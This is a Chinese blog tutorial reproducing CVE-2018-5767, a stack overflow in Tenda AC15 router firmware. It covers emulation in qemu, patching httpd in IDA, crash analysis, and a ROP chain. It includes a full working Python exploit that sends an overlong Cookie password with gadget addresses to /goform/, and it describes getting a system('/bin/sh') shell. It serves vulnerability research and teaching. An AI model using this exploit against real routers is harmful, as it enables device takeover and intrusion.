CVE-2018-5767 Tenda路由器栈溢出漏洞复现
前言
第一次尝试IOT固件模拟和漏洞复现,写篇文章记录一下。
实验环境
Linux版本:Ubuntu 18.04
qemu版本:qemu-arm version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.41)
IDA版本:IDA PRO 7.7
固件版本:Tenda cn Ac15_firmware:15.03.1.16
固件下载地址:Download Tenda AC15 Router Firmware 15.03.1.16 for OS Independent
以下是本篇文章正文内容
一、安装工具
(PS:如果是纯净Ubuntu 18.04,请先换源再进行安装工具)
binwalk:sudo apt-get install binwalk
qemu:sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
pwntools: sudo pip install pwntools
二、固件仿真
提取固件和通过qemu运行httpd
binwalk -Me xxx.rar
cd xxx.extracted/squashfs-root
cp /usr/bin/qemu-arm-static .
sudo chroot . ./qemu-arm-static ./bin/httpd
出现启动界面,卡在了welcome to:
扔到IDA中分析原因,找到启动界面代码位置,发现有一个check_network检测,小于等于0就进入sleep。当R3小于等于0时就会一直sleep循环。
为了绕过这个判断,我们将MOV R3, R0用右键keypatch修改为MOV R3, #1
发现下边还有一个ConnectCfm,同样将MOV R3, R0修改为MOV R3, #1
保存文件,点击Edit,Patch Program,Apply patches to input file
将修改后的httpd文件覆盖原来的文件,chmod +777 httpd,重新用qemu启动
启动成功,但是获取的IP地址明显有问题
IDA中搜索查询字符串,找到sub_1A36C包含“httpd listen ip”
我们对着 sub_1A36C按x,查看交叉引用。发现前两个为ssl相关的,第三个是websAccept调用
回到sub_1A36C,我们发现v8的值就是ip,而v8是通过&s.sa_data[2]来决定的,我们去上边找一下&s.sa_data[2]在哪里被赋值了。
最后一次赋值在这里,通过a1的值决定,我们再找一下a1的来源
发现a1就是sub_28338调用时传的v8,v8是由g_lan_ip决定的
继续追踪g_lan_ip,发现ip来源于getIfIp这个函数,调用了外部函数__imp_getIfIp
通过百度查询到,libChipApi.so中的get_eth_name函数获取名为br0网卡的ip地址,传回程序。
因此,想让httpd监听到正确的ip地址,需要新建一个名为br0的网卡
sudo brctl addbr br0
sudo ifconfig br0 192.168.10.10 up
启动成功,获取到正确ip(要确保ip没有被占用),仿真成功。
三、漏洞点分析
查看CVE-2018-5767相关文章,得知溢出点在R7WebsSecurityHandler函数中,用IDA定位到漏洞关键点。else分支将password=后边的值一直到;放入了v33,但是没有进行长度的限制,导致栈溢出。
同时,为了保证程序可以执行到这里,我们要让请求的url正确,可使用/goform/xxx
为了方便调试,我们用调试端口启动
sudo chroot . ./qemu-arm-static -g 2333 ./bin/httpd
开另一个终端,用gdb remote调试
gdb-multiarch ./bin/httpd
target remote :2333
先来验证一下上述漏洞点,将Cookie的password设置为一个很长的字符串,然后查看寄存器状态
import requests
url = "http://192.168.10.10/goform/xxx"
cookie = {"Cookie":"password="+"A"*666}
requests.get(url=url, cookies=cookie)
程序果然崩溃,寄存器r3内地址的值为AAAA,显然是弹出的栈溢出字符。
通过bt指令,我们得知,在0x0002c5cc溢出后被调用执行,因此我们要绕过这个函数
回到IDA中,发现如果v42(也就是s)包含下边这些后缀时,会直接函数返回
因此,我们将payload末尾加上一个后缀即可,验证如下:
import requests
url = "http://192.168.10.10/goform/xxx"
cookie = {"Cookie":"password="+"abcd"*200+ ".png"}
requests.get(url=url, cookies=cookie)
我们用cycli指令得到偏移,算上后缀名.png,得到偏移量为448
四、漏洞利用
首先通过checksec查看保护,发现只开启了NX,所以我们可以用rop链getshell
我们正常执行,看一下程序是如何调用函数和布置参数的
思路为把system地址存进一个寄存器x,把/bin/sh传入r0,此时跳转到寄存器x执行system("/bin/sh")。但因为是32位程序,/bin/sh没有对齐4字节,我们不能直接将 /bin/sh直接传入r0当作参数
因此利用思路可以变为:
pop r3,pc #把system地址放入r3
mov r0, sp ; blx r3 #把栈顶写入r0,跳转到r3
payload可写为:offset + gadget1 + system_addr + gadget2 + binsh
libc偏移我们可以通过call system得到libc_system_addr,减去ida中system地址,得到libc偏移为0xFF5D5000
网上大多数用system+binsh复现,这里用puts+字符串演示,效果相同。
运行攻击脚本,输出Hello成功
exp如下:
import struct
import requests
from pwn import *ip = "192.168.10.10"url = "http://{:s}/goform/exeCommand".format(ip)
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': 'password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"',
'Cache-Control': 'max-age=0'
}libc=0xFF5D5000_str = "Hello\x00"pop_r3_pc = p32(0x00018298+libc)#pop r3 pc
mov_r0_sp_blx_r3 = p32(0x00040cb8 + libc)# mov r0 sp; blx r3
print(0x00018298+libc)
puts = p32(0x035CD4+libc)
_str = _str.encode()# 'byte'
password = b"A" * 448+pop_r3_pc+puts+mov_r0_sp_blx_r3+_str+b".gif"
headers['Cookie']=b"password="+passwordtry:response = requests.get(url,headers=headers,timeout=1)
except:pass
多型号下可能产生的问题:
1.多型号的固件版本不同,libc函数地址可能会变化,会导致偏移不同。
2.高一些的固件版本可能会开启其他保护,可能会加入canary,导致常规ROP失效。
3.不同型号的跳转条件可能会不同,如对URL的判断以及等待周期等因素。
CVE-2018-5767 Tenda路由器栈溢出漏洞复现相关推荐
- 【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)
1 漏洞概述 从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述. An issue was discovered on Tenda AC7 V15.03.06. ...
- vivotek栈溢出漏洞复现
一.前言 近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手. 二.固件仿真 虚拟机环境:Ubuntu 20.04 gdb版本:GNU gd ...
- CVE(2017-15715、2021-41773、2021-40438)漏洞复现
仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...
- 物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现
https://www.rapid7.de/db/modules/exploit/linux/http/dlink_hedwig_cgi_bof 这个栈溢出的原因是由于cookie的值过长导致的栈溢出 ...
- Samsung-WLAN-AP路由器RCE漏洞复现
简介: 三星-WLAN-AP-WEA453e 路由器存在远程命令执行. zoomeye搜索: app:"Samsung WLAN AP wea453e router" or tit ...
- java栈溢出漏洞cve,TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析
简介 前段时间 TP-LINK TL-WR841N 设备爆出了一个认证后的栈溢出漏洞,借机复现了一下这个栈溢出漏洞,其中有一些在漏洞利用上的小技巧在此和大家分享一下. 漏洞信息如下: 漏洞编号:CVE ...
- kali+php+缓冲区溢出,CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析
CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析 摘要:本文通过对一个ARM路由器缓冲区溢出漏洞的分析,实践逆向数据流跟踪的思路与方法. 假设读者:了解ARM指令集基础知识.了解栈溢出 ...
- 栈溢出漏洞CVE-2020-8423复现
TP-Link WR841N 栈溢出漏洞(CVE-2020-8423) 第一次搞iot相关,对mips的汇编还不是很熟,先熟悉一下搭环境,之后再去理解原理,这里记录一下环境搭建流程.虽然iot-vul ...
- 华为路由器远程命令执行漏洞复现(CVE-2017-17215)
华为路由器远程命令执行漏洞复现(CVE-2017-17215) 漏洞内容 这个漏洞算是比较老的一种漏洞了,但是具有一定的学习价值. CheckPoint报告华为HG532路由器产品存在远程命令执行漏洞 ...
最新文章
- OpenAI最新论文:机器学习效率正在超越摩尔定律
- python列出文件夹最新的几个文件_Python列出一个文件夹及其子目录的所有文件
- Detective Book
- GitHub 基本常用知识解答2
- python 类的功能,字符串字节,嵌套等相关学习总结
- 1.4 Padding
- Redis的实现原理
- live2d_Live2D | CubismSdkForUnity4r.1简介(下)
- OnlyOffice在线部署
- 关于python中矩阵相乘需要注意的事情
- docker file镜像分层
- TableView图片闪动的问题
- mysql like 百分号_mysql语句中使用like后面的%(百分号)的问题
- 2021年中国冰雪旅游行业市场现状分析,“三足鼎立、两带崛起、全面开花”新格局形成「图」
- DCOS之Mesos-DNS介绍
- 聊天室之-----界面的问题用到的curses
- java并发编程 目录_Java并发编程实战的作品目录
- Web前端小白了解这些学习秘诀,你也能成为大神!
- Win10怎么禁止开机自动运行语音识别
- 苹果官方Apple Pay开发文档(中文版)
热门文章
- macbook上好用的软件
- Git入门教程之注册(一)
- 计算机网络(各章节精华版)
- CPU动态调频二:interactive governor
- P2P流媒体开源项目汇总与简述
- 基于p2p点播html5源码,毕业论文-基于HTML5的P2P流媒体传输系统的设计与实现.docx...
- 离散数学-图论知识总结(修改版)
- 剑门高级中学2021年高考成绩查询,剑门关高级中学2021年高中部入学条件是什么?...
- Web服务下载zip文件
- android桌面悬浮窗,Android桌面悬浮窗